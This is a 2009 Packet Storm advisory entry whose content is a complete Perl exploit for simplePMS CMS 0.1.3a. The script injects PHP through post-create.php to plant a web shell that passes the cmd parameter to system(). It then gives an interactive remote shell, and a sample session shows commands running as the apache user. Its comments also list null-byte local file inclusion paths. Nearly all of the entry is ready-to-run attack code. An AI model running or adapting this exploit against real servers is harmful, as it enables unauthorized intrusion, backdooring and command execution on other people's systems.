simplePMS CMS 0.1.3a Code Execution

2009-02-15T00:00:00
ID PACKETSTORM:74967
Type packetstorm
Reporter Osirys
Modified 2009-02-15T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
  
# Script : simplePMS CMS v0.1.3a  
# Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2  
# Remote Command Execution Exploit  
# Also affected to multiple LFI vulnerabilities <-- Needs Register Globals ON ($filename not declared)  
# /[path]/pages/template.php?filename=[lf]%00  
# /[path]/pages/comp-template.php?filename=[lf]%00  
# by Osirys <osirys[at]autistici[dot]org>  
  
# Let's go into the hacking ..  
  
# osirys[~]>$ perl rcex.txt http://localhost/simplePMS-v0-1-3prealpha/  
#  
# ---------------------------------------  
# SimplePMS CMS v0.1.3a  
# Remote Command Execution Sploit  
# by Osirys  
# ---------------------------------------  
#  
# [*] Adding evil post ..  
# [*] Succesfully backdoored !  
# [&] Hi my master, do your job now [!]  
#  
# shell[localhost]$> id  
# uid=80(apache) gid=80(apache) groups=80(apache)  
# shell[localhost]$> pwd  
# /home/osirys/web/simplePMS-v0-1-3prealpha/posts  
# shell[localhost]$> exit  
# [-] Quitting ..  
# osirys[~]>$  
  
use LWP::UserAgent;  
use IO::Socket;  
use HTTP::Request::Common;  
  
my $host = $ARGV[0];  
my $rand = int(rand 19) +1;  
my $file = "h0x".$rand;  
  
($host) || help("-1");  
cheek($host) == 1 || help("-2");  
&banner;  
  
$datas = get_input($host);  
$datas =~ /(.*) (.*)/;  
($h0st,$path) = ($1,$2);  
  
my $url = $path."/post-create.php";  
  
my $code = "insert=Before&filename=".$file."&topic=1337&story=owned%22%3Be".  
"cho+%22p0w%22%3Bif%28get_magic_quotes_gpc%28%29%29%7B+%24_GET%".  
"5Bcmd%5D%3Dstripslashes%28%24_GET%5Bcmd%5D%29%3B%7Dsystem%28%2".  
"4_GET%5Bcmd%5D%29%3Becho+%22p0w%22%3B%24a+%3D+%22o&poster=owner";  
  
my $length = length($code);  
  
my $data = "POST ".$url." HTTP/1.1\r\n".  
"Host: ".$h0st."\r\n".  
"Keep-Alive: 300\r\n".  
"Connection: keep-alive\r\n".  
"Content-Type: application/x-www-form-urlencoded\r\n".  
"Content-Length: ".$length."\r\n\r\n".  
$code."\r\n";  
  
my $socket = new IO::Socket::INET(  
PeerAddr => $h0st,  
PeerPort => '80',  
Proto => 'tcp',  
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";  
  
print "[*] Adding evil post ..\n";  
$socket->send($data);  
  
while ((my $e = <$socket>)&&($own != 1)) {  
if ($e =~ /Sucessfully created post for/) {  
$own = 1;  
print "[*] Succesfully backdoored ! \n";  
}  
}  
$own == 1 || die "[-] Can't add posts !\n";  
  
print "[&] Hi my master, do your job now [!]\n\n";  
&exec_cmd;  
  
sub exec_cmd {  
my(@outs,$out);  
$h0st !~ /www\./ || $h0st =~ s/www\.//;  
print "shell[$h0st]\$> ";  
$cmd = <STDIN>;  
$cmd !~ /exit/ || die "[-] Quitting ..\n";  
$exec_url = $host."/posts/".$file."-posts.php?cmd=".$cmd;  
$re = get_req($exec_url);  
$content = tag($re);  
if ($content =~ /p0w(.+)p0w/) {  
my $out = $1;  
$out =~ s/\$/ /g;  
$out =~ s/\*/\n/g;  
chomp($out);  
print "$out\n";  
&exec_cmd;  
}  
else {  
$c++;  
$cmd =~ s/\n//;  
print "bash: ".$cmd.": command not found\n";  
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";  
}  
}  
  
sub get_req() {  
$link = $_[0];  
my $req = HTTP::Request->new(GET => $link);  
my $ua = LWP::UserAgent->new();  
$ua->timeout(4);  
my $response = $ua->request($req);  
return $response->content;  
}  
  
sub cheek() {  
my $host = $_[0];  
if ($host =~ /http:\/\/(.*)/) {  
return 1;  
}  
else {  
return 0;  
}  
}  
  
sub get_input() {  
my $host = $_[0];  
$host =~ /http:\/\/(.*)/;  
$s_host = $1;  
$s_host =~ /([a-z.-]{1,30})\/(.*)/;  
($h0st,$path) = ($1,$2);  
$path =~ s/(.*)/\/$1/;  
$full_det = $h0st." ".$path;  
return $full_det;  
}  
  
sub tag() {  
my $string = $_[0];  
$string =~ s/\n/\*/g;  
return($string);  
}  
  
sub banner {  
print "\n".  
" --------------------------------------- \n".  
" SimplePMS CMS v0.1.3a \n".  
" Remote Command Execution Sploit \n".  
" by Osirys \n".  
" --------------------------------------- \n\n";  
}  
  
sub help() {  
my $error = $_[0];  
if ($error == -1) {  
&banner;  
print "\n[-] Bad hostname! \n";  
}  
elsif ($error == -2) {  
&banner;  
print "\n[-] Bad hostname address !\n";  
}  
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";  
exit(0);  
}`